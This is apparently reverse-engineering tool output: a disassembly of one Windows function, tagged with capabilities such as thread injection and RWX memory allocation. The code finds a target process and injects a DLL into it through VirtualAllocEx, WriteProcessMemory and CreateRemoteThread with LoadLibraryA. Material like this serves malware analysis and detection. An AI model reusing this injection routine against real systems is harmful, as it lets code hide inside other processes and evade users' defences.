Function at 0x1019d3d
Capabilities:
Allocate or change rwx memory
Create thread
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10068a0
push 0x1014604
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
mov eax, 0x234c
call sub.ntdll.dll__chkstk
mov eax, dword [0x102c22c]
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x344], eax
mov esi, 0x400
xor ebx, ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 4], ebx
push 0x104
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x1019dc5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5e8
push 0x100686c
push 0x1006830
call fcn.01015c5a
add esp, 0x10
jmp 0x101a13b
push ebx
push ebx
push ebx
push 0x14
call fcn.01015522
test eax, eax
jne 0x1019de1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5ed
jmp 0x1019dae
push 0x1000
call sub.msvcrt.dll_malloc
pop ecx
mov dword [ebp - 0x334], eax
cmp eax, ebx
jne 0x1019e0c
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5f4
jmp 0x1019dae
lea eax, [ebp - 0x340]
push eax
push esi
push dword [ebp - 0x334]
call fcn.010167ed
test eax, eax
jne 0x1019e66
push dword [ebp - 0x334]
call sub.msvcrt.dll_free
add esi, esi
mov dword [ebp - 0x360], esi
mov eax, esi
shl eax, 2
push eax
call sub.msvcrt.dll_malloc
pop ecx
pop ecx
mov dword [ebp - 0x334], eax
cmp eax, ebx
jne 0x1019e0c
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x604
jmp 0x1019dae
mov esi, dword [ebp - 0x340]
shr esi, 2
mov dword [ebp - 0x364], esi
mov dword [ebp - 0x330], ebx
cmp dword [ebp - 0x330], esi
jae 0x1019fe6
cmp dword [ebp - 0x33c], 1
je 0x1019ff3
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x330]
push dword [eax + ecx*4]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x32c], eax
cmp eax, ebx
je 0x1019fd3
mov byte [ebp - 0x120], bl
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x340]
push eax
push 0x2000
lea eax, [ebp - 0x2364]
push eax
push dword [ebp - 0x32c]
call fcn.010167d1
test eax, eax
je 0x1019fd3
push 0x104
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x2364]
push dword [ebp - 0x32c]
call fcn.010167b2
test eax, eax
je 0x1019fd3
push 0x1006824
lea eax, [ebp - 0x120]
push eax
call sub.msvcrt.dll__mbslwr
pop ecx
push eax
call sub.ntdll.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x1019fd3
push ebx
push 4
lea eax, [ebp - 0x354]
push eax
push 0x18
push dword [ebp - 0x32c]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jne 0x1019fd3
cmp dword [ebp - 0x354], ebx
jne 0x1019fd3
mov dword [ebp - 0x338], ebx
mov ecx, dword [ebp - 0x340]
shr ecx, 2
mov eax, dword [ebp - 0x338]
cmp eax, ecx
jae 0x1019fd3
lea edi, [ebp + eax*4 - 0x2364]
push 0x104
lea eax, [ebp - 0x224]
push eax
push dword [edi]
push dword [ebp - 0x32c]
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x1019fde
push 0x100681c
lea eax, [ebp - 0x224]
push eax
call sub.msvcrt.dll__mbslwr
pop ecx
push eax
call sub.ntdll.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x1019fde
mov eax, dword [ebp - 0x344]
cmp dword [edi], eax
jne 0x1019fde
mov dword [ebp - 0x33c], 1
inc dword [ebp - 0x330]
jmp 0x1019e7b
inc dword [ebp - 0x338]
jmp 0x1019f6a
cmp dword [ebp - 0x33c], 1
jne 0x101a130
push 2
push dword [ebp - 0x344]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x35c], eax
lea ecx, [ebp - 0x34c]
push ecx
push ebx
push ebx
push eax
push ebx
push ebx
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x101a11c
push 0x3a980
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x350], eax
cmp eax, ebx
jne 0x101a10e
cmp dword [ebp + 0xc], ebx
jne 0x101a0fc
push 0xfffa
mov esi, 0x107f8a0
push esi
push 0x100680c
lea eax, [ebp - 0x328]
push eax
call fcn.01015121
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x101a071
sub eax, edi
push 0x40
push 0x1000
inc eax
push eax
push ebx
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x358], edi
cmp edi, ebx
je 0x101a10e
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x101a0a1
sub eax, ecx
push ebx
inc eax
push eax
push esi
push edi
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x101a10e
lea eax, [ebp - 0x34c]
push eax
push ebx
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x101a10e
push 0x4e20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x350], eax
cmp eax, ebx
jne 0x101a10e
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.010147d3
pop ecx
pop ecx
xor eax, eax
inc eax
jmp 0x101a146
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10067d4
jmp 0x101a128
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10067a0
call fcn.01015c5a
pop ecx
jmp 0x101a13a
push 0x1006784
call fcn.01015c5a
pop ecx
or dword [ebp - 4], 0xffffffff
call fcn.0101a15f
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.0101439a
pop edi
pop esi
pop ebx
leave
ret 8